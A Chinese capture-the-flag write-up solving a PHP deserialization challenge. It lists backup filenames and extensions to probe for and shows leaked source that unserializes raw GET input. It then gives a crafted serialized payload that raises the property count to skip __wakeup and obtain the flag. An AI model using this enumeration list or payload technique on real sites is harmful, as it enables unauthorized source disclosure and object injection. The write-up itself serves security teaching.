提示我们找备份网站
备份文件里存着网站的源代码,备份文件基本上都是压缩包,常见的备份文件的后缀名有:
- .rar
- .zip
- .7z
- .tar.gz
- .bak :对于bak类的备份文件,可以直接输入文件名称+.bak访问,例如:index.php.bak
- .txt
- .old
- .temp
- _index.html
- .swp
- .sql
- .tgz
- .tar
常见的备份文件的文件名:
- web
- website
- backup
- back
- www
- wwwroot
- temp
- db
- data
- code
- test
- admin
- user
- sql
可以用御剑扫描,或者手动猜
发现www.zip可以成功获得网站源码备份
打开这三个php文件
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
这三个文件是依次包含的关系
username=admin password=100 才能出flag
$select做了反序列化,执行unserialize()时因此,先会调用_wakeup()函数,username的值会被改变,因此我们要绕过_wakeup函数。
绕过方式:
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过_wakeup的执行。
序列化
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
如果变量名前是private,序列化时会在变量名前加上\x00变量名\x00,因此我们用%00代替前面的空格
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
我们要将属性个数改为比2大的数
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
然后get传参,就得到了flag